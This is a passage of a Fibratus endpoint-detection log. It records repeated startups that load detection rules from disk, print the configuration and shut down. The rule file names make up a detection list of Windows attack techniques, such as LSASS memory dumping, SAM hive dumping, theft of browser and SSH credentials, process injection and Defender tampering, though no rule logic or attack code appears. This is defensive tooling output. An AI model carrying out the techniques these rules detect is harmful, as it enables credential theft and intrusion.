C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:16:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:16:48+01:00 level=info msg=bootstrapping with pid 17612. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:16:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ use-template=>true content-type=>text/html enabled=>false to=>[] port=>25] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 flush-interval=>1s enable-image=>true max-buffers=>36 enable-net=>true enable-audit-api=>true enable-mem=>false enable-threadpool=>false enable-vamap=>true enable-registry=>true enable-fileio=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true min-buffers=>16 enable-thread=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 formatter=>text max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ index-name=>fibratus healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false enabled=>false timeout=>5s bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s sniff=>false healthcheck-timeout=>5s trace-log=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false timeout=>5s enable-gzip=>false method=>POST serializer=>json] eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ url=>amqp://localhost:5672 exchange=>fibratus passive=>false enabled=>false routing-key=>fibratus exchange-type=>topic delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false durable=>false]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s enabled=>false fastscan=>true excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:16:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:16:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:18:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:18:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:18:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:20:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:20:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:20:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:20:30+01:00 level=info msg=bootstrapping with pid 16484. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:20:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-fileio=>true enable-thread=>true enable-mem=>false enable-image=>true max-buffers=>36 buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-vamap=>true enable-net=>true min-buffers=>16 stack-enrichment=>true enable-dns=>false enable-audit-api=>true enable-handle=>false enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 formatter=>text level=>info max-size=>100] + output ......................... [ amqp=>[ durable=>false passive=>false enabled=>false timeout=>5s routing-key=>fibratus delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus] elasticsearch=>[ bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false enabled=>false healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true sniff=>false trace-log=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false method=>POST]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false excluded-procs=>[] skip-files=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:20:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:20:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:21:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:21:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:21:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:21:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 